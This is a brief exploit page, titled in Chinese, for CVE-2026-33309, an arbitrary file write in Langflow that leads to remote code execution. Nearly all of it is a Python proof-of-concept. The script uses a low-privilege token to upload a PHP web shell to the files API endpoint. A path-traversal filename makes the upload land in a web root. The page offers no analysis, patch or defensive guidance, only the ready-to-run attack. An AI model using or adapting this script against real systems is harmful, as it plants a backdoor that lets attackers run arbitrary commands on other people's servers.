CVE-2026-33309 Langflow任意文件写入致RCE漏洞

import requests # Target URL (replace with actual target) url = "http://target-host:3000/api/v2/files/" # Attacker's authentication token (Low privilege required) headers = { "Authorization": "Bearer <LOW_PRIVILEGE_TOKEN>" } # Malicious payload to write a webshell or backdoor # The filename contains path traversal to bypass validation payload_content = "<?php system($_GET['cmd']); ?>" # The filename attempts to write outside the intended directory files = { "file": ("../../var/www/html/shell.php", payload_content, "application/octet-stream") } try: response = requests.post(url, headers=headers, files=files) if response.status_code == 200: print("[+] Exploit successful! File written.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")